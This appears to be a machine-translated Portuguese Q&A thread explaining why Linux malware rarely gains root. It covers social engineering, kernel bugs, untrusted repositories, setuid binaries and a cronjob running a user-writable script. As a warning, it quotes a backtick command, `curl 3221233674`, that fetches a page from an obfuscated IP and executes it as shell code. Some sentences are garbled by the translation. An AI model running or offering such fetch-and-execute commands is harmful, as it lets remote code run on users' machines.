Entendo que, se algum malware entrar no sistema Linux, ele obterá, no máximo, um privilégio no nível do usuário e arruinará qualquer coisa ao alcance do usuário, ou seja, os próprios arquivos do usuário.
Mas o que exatamente impede que os malwares obtenham acesso no nível raiz? De alguma forma, não pode decifrar a senha por dentro?
Respostas:
Esta é uma questão complexa. Existem muitas camadas diferentes de segurança em um sistema Ubuntu, desde estruturas complexas como o AppArmor até variáveis humildes do kernel
mmap_min_addr
. Você pode adicionar alguns recursos do kernel, como randomização de memória na mistura. Você pode encontrar uma lista deles, juntamente com explicações rápidas no Ubuntu Wiki .Outro fator importante é que as atualizações são rápidas e fáceis - portanto, a maioria dos computadores será atualizada com as últimas correções de segurança.
Até onde eu sei, um invasor que obteve acesso local ao seu computador tem três maneiras de escalar os privilégios do kernel:
Quebre a senha. Mas isso vai ser realmente difícil, a senha é armazenada criptografada, usando algoritmos sem falha conhecida. Levará séculos para decifrá-lo.
Bug no kernel. Mas todos os recursos de segurança do kernel atrapalham.
Engane o usuário a fornecer a senha, ou seja, engenharia social. Apenas mostre um diálogo de senha falsa ou use outro truque. Essa é a maneira mais fácil de fazer isso.
O terceiro ponto é a vulnerabilidade mais fraca no momento.
fonte
sudoers
.Quebrar a senha de root não é possível, porque o Ubuntu desativou o usuário root por padrão. No entanto, se seu usuário pode se tornar root através do sudo e sua senha é fácil de adivinhar / força bruta, você possui um sistema inseguro. Exemplo de script tentando testar alguma senha:
A adição de um repositório não confiável permite a instalação de programas desse repositório. Mesmo se você não instalar explicitamente um aplicativo como esse
sudo apt-get install [app-from-repo]
, o repositório ainda poderá afetar outros programas, fazendo o Ubuntu acreditar que o repositório contém uma versão mais recente de um determinado programa.O processo de atualização é executado como raiz, caso contrário, os arquivos não podem ser gravados em
/usr/bin
ou/etc
. Um gatilho de instalação também é executado como root e pode executar arbitrariamente e, possivelmente, comandos prejudiciais. Agora, não se preocupe, é necessária uma ação manual para atualizar os programas e os repositórios do Ubuntu são seguros. Software de código fechado como o Windows nunca pode ser totalmente confiável, porque você não pode verificar o código malicioso da fonte, mas pode revisar a fonte do aplicativo Ubuntu se precisar (não se aplica a programas proprietários como osun-java6
Flash).Conforme mencionado por Javier Rivera, os bugs do kernel podem levar à execução arbitrária de código, mas o software com bug também é perigoso, especialmente os
setsuid
binários raiz de buggy (binários que serão executados no proprietário do arquivo, raiz) e outros programas de bugs que são executados como raiz.Você pode criar falhas de segurança no seu sistema se não prestar atenção no que está fazendo. Por exemplo, sem entender completamente o conceito de cronjobs, você adicionou um cronjob ao
/etc/cron.daily
qual executa um programa em sua pasta pessoal (por exemplo,/bin/sh /home/your-username/myscript.sh
se o arquivo myscript.sh for gravável por você, você poderá ser excluído por você, uma exploração poderá colocar mal intencionados. código nomyscript.sh
qual seria executado como root (escalonamento de privilégios).Para ficar seguro, use sua mente! Não execute comandos de fontes não confiáveis se você não souber o que faz. Se alguém disser executar
`curl 3221233674`
com back-ticks, não. 3221233674 é outra maneira de escrever192.0.32.10
(IP de example.com). Então, seria igual a:Esses back-ticks fazem com que a saída seja executada como comandos do shell. Em inglês simples, "Faça o download da página http://example.com/ e tente executar a página baixada".
No início, você não veria algo malicioso no comando fornecido. Mas agora, você sabe que também pode ser abusado.
Sempre verifique os comandos / scripts obtidos de fontes não confiáveis, como a Internet.
fonte